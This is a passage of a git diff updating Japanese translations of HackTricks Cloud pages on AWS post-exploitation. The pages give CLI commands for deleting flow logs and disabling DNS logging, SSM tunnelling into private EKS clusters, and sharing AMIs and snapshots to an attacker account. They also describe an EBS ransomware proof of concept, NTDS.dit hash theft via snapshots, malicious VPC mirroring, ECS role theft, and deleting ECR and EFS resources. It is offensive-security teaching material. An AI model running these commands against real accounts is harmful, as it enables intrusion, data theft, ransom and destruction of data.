**VPCフローログはこれを記録しません**。 - AWS DNSログへのアクセスはありません。 -- 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします: +- 次のコマンドで "enableDnsSupport" を false に設定することで無効にします: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` @@ -79,13 +79,13 @@ EC2をロックダウンしてトラフィックが外に出られないよう aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc to ECS +### ECSへの権限昇格 -EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。 +EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。 For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### Remove VPC flow logs +### VPCフローログの削除 ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,27 +95,27 @@ aws ec2 delete-flow-logs --flow-log-ids --region - `ssm:StartSession` -コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。これが有用なシナリオの一つは、[バスティオンホスト](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。 +コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。 > セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. マシンにSessionManagerPluginをインストールします -2. 次のコマンドを使用してバスティオンEC2にログインします: +2. 次のコマンドを使用してBastion EC2にログインします: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. [AWS EC2環境におけるSSRFの悪用](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)スクリプトを使用してBastion EC2 AWSの一時的な資格情報を取得します -4. 資格情報を自分のマシンの`$HOME/.aws/credentials`ファイルに`[bastion-ec2]`プロファイルとして転送します -5. Bastion EC2としてEKSにログインします: +3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します +4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します +5. Bastion EC2 として EKS にログインします: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config`ファイルの`server`フィールドを`https://localhost`に更新します +6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` にポイントするように更新します 7. 次のようにSSMトンネルを作成します: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます: +8. `kubectl` ツールからのトラフィックは、Bastion EC2 を介して SSM トンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます: ```shell kubectl get pods --insecure-skip-tls-verify ``` @@ -123,23 +123,23 @@ SSL接続は、`--insecure-skip-tls-verify`フラグ(またはK8s監査ツー 最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。 -### AMIを共有する +### Share AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### 公共およびプライベートAMI内の機密情報を検索する +### 公共およびプライベート AMI での機密情報の検索 -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovelは、**公共またはプライベートのAmazon Machine Images (AMIs)内の機密情報を検索するために設計されたツール**です。ターゲットAMIからインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。 +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。 -### EBSスナップショットを共有する +### EBS スナップショットの共有 ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのがどれほど簡単であるかを考えると、Ransomware Management Service(RMS)に名前を変更すべきです。 +S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが非常に簡単であることから、Ransomware Management Service(RMS)に改名されるべきです。 -まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは、悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。 +まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。 ``` { "Version": "2012-10-17", @@ -239,13 +239,13 @@ S3のポストエクスプロイテーションノートで示されたランサ - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -公開アクセス可能なキーを使用できるようになりました。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。 +次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高特権の AWS アカウントが侵害されていると仮定しています。 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのスナップショットを使用してコピーを作成し、「攻撃者」アカウントから公開されているキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。 +これにより、アカウントに残るのは暗号化された EBS ボリュームのみになります。 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) @@ -324,15 +324,15 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ ] } ``` -少々お待ちください。新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。 +新しく設定されたキー ポリシーが伝播するのを少し待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。 +しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキーを使用して復号化できないため、キー ポリシーがもはやそれを許可しないからです。 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。 +これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最終的にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。 ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 22006b900..d6745236b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -32,7 +32,7 @@ make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` > [!CAUTION] -> **注意** `dsnap` は公開スナップショットをダウンロードすることを許可しません。これを回避するために、スナップショットをあなたの個人アカウントにコピーし、それをダウンロードすることができます: +> **注意** `dsnap` は公開スナップショットのダウンロードを許可しません。これを回避するには、スナップショットを自分のアカウントにコピーし、それをダウンロードできます: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -46,11 +46,11 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` -この技術の詳細については、[https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)の元の研究を確認してください。 +この技術に関する詳細は、元の研究を参照してください [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -Pacuを使用して、モジュール[ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)でこれを行うことができます。 +この操作は、モジュール [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) を使用してPacuで実行できます。 -## AWSでスナップショットを確認する +## AWSでのスナップショットの確認 ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` @@ -85,7 +85,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps ステップ8:コマンド`sudo mount /dev/xvdf /newvolume/`を使用して、ボリュームを「newvolume」ディレクトリにマウントします。 -ステップ9:「newvolume」ディレクトリに移動し、ディスクスペースを確認してボリュームマウントを検証します。 +ステップ9:「newvolume」ディレクトリにディレクトリを変更し、ボリュームマウントを検証するためにディスクスペースを確認します。 このアクションを実行するには、次のコマンドを使用します: @@ -94,7 +94,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps これをPacuを使用して、モジュール`ebs__explore_snapshots`で行うことができます。 -## AWSでスナップショットを確認する(cliを使用) +## AWSでのスナップショットの確認(cliを使用) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -120,13 +120,13 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` -## Shadow Copy +## シャドウコピー -任意のAWSユーザーが**`EC2:CreateSnapshot`**権限を持っている場合、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために**NTDS.ditとSYSTEM**レジストリハイブファイルを**エクスポート**します。 +**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために、**NTDS.ditおよびSYSTEM** レジストリハイブファイルをエクスポートします。 -このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術の1つを使用することもできます。 +このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術の1つを使用することもできます。 -## References +## 参考文献 - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index a3e9fb684..d983d6532 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -1,15 +1,15 @@ -# AWS - Malicious VPC Mirror +# AWS - 悪意のある VPC ミラー {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**詳細については** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **を確認してください!** -クラウド環境におけるパッシブネットワーク検査は**困難**であり、ネットワークトラフィックを監視するためには大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム(IDS)に送信されて**分析**されることができます。 +クラウド環境における受動的ネットワーク検査は**困難**であり、ネットワークトラフィックを監視するために大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム(IDS)に送信されて**分析**されることができます。 -VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに応えるために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。 +VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに対応するために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。 悪意のあるVPCトラフィックミラーリングの**影響**は重大であり、攻撃者がVPC内で送信される**機密情報**にアクセスできるようになります。このような悪意のあるミラーリングの**可能性**は高く、VPC内を流れる**平文トラフィック**の存在を考慮すると、特にそうです。多くの企業は、**パフォーマンスの理由**から内部ネットワーク内で平文プロトコルを使用しており、従来の中間者攻撃が不可能であると仮定しています。 -詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化するため、攻撃的研究目的において**迅速、簡単、かつ繰り返し可能**です。 +詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化し、攻撃的研究目的のために**迅速、簡単、かつ繰り返し可能**にします。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index 5fcbd4667..8fef9988c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -ダウンロードした画像は、**機密情報を確認する必要があります**: +画像をダウンロードした後は、**機密情報を確認する**必要があります: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、次に** **ECRリポジトリ全体を削除する**ことができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。 +これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更**し、その後**ECRリポジトリ全体を削除**することができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。 ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 06b54f64f..e19e5ed1b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -12,33 +12,33 @@ ### ホスト IAM ロール -ECS では、**IAM ロールをコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\ -つまり、ECS インスタンスを**侵害**することに成功すれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、以下を確認してください: +ECS では、**IAM ロールがコンテナ内で実行されているタスクに割り当てられる**ことがあります。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\ +つまり、ECS インスタンスを**侵害**することができれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する**可能性があります。これらの資格情報を取得する方法については、以下を確認してください: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**は**ホップ制限が 1**となり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることが不可能になります。 +> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**には**ホップ制限が 1**があり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることは不可能になります。 -### ノードへの特権昇格と他のコンテナの資格情報および秘密の盗難 +### ノードへの特権昇格と他のコンテナの資格情報と秘密の盗難 さらに、EC2 は ECs タスクを実行するために Docker を使用しているため、ノードにエスケープするか、**Docker ソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与された IAM ロールを盗む**ことができます。 #### 現在のホストでコンテナを実行する -さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することができ、その後 ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、彼は**それらの IAM ロールを盗む**ことができ、コンテナ内の潜在的な機密情報を取得することができます。 +さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することで、ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、**IAM ロールを盗む**ことや、コンテナ内の潜在的な機密情報を**盗む**ことができます。 ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -同じ技術は**クラスターからEC2インスタンスを登録解除することによって**行うことができます。これは潜在的にあまり隠密ではありませんが、**タスクを他のインスタンスで実行させることを強制します:** +同じ技術は**クラスターからEC2インスタンスを登録解除する**ことによって行うことができます。これは潜在的にあまりステルス性がありませんが、**タスクを他のインスタンスで実行させることを強制します:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -タスクの再実行を強制するための最終的な技術は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります: +タスクの再実行を強制するための最終的な手法は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -50,7 +50,7 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` -### ECRコンテナから機密情報を盗む +### ECRコンテナからの機密情報の盗難 EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます(その中に機密情報を探すことができます)。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index bb4a15002..787239397 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -12,23 +12,23 @@ ### `elasticfilesystem:DeleteMountTarget` -攻撃者はマウントターゲットを削除することができ、アプリケーションやユーザーがそのマウントターゲットに依存している場合、EFSファイルシステムへのアクセスが中断される可能性があります。 +攻撃者はマウントターゲットを削除することができ、アプリケーションやそのマウントターゲットに依存するユーザーのEFSファイルシステムへのアクセスを妨げる可能性があります。 ```sql aws efs delete-mount-target --mount-target-id ``` -**潜在的な影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。 +**潜在的影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。 ### `elasticfilesystem:DeleteFileSystem` -攻撃者は、EFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。 +攻撃者はEFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。 ```perl aws efs delete-file-system --file-system-id ``` -**潜在的な影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービスの中断。 +**潜在的影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービス中断。 ### `elasticfilesystem:UpdateFileSystem` -攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソースの枯渇を引き起こしたりする可能性があります。 +攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソース枯渇を引き起こしたりする可能性があります。 ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` @@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id --provisioned-throughput-in- ### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint` -攻撃者はアクセス・ポイントを作成または削除することで、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。 +攻撃者はアクセスポイントを作成または削除し、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。 ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 112f17180..d4851a3bf 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -10,22 +10,22 @@ ../aws-services/aws-eks-enum.md {{#endref}} -### AWSコンソールからクラスターを列挙する +### AWS コンソールからクラスターを列挙する -**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKSコンソールを介して**Kubernetesオブジェクトを表示**できます([詳細はこちら](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。 +**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKS コンソールを介して **Kubernetes オブジェクトを表示** できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。 -### AWS Kubernetesクラスターに接続する +### AWS Kubernetes クラスターに接続する - 簡単な方法: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- 簡単ではない方法: +- 簡単ではない方法: -もし **`aws eks get-token --name `** で **トークンを取得できる** が、クラスター情報 (describeCluster) を取得する権限がない場合、**自分の `~/.kube/config` を準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です (ポッドから JWT トークンを取得できた場合は 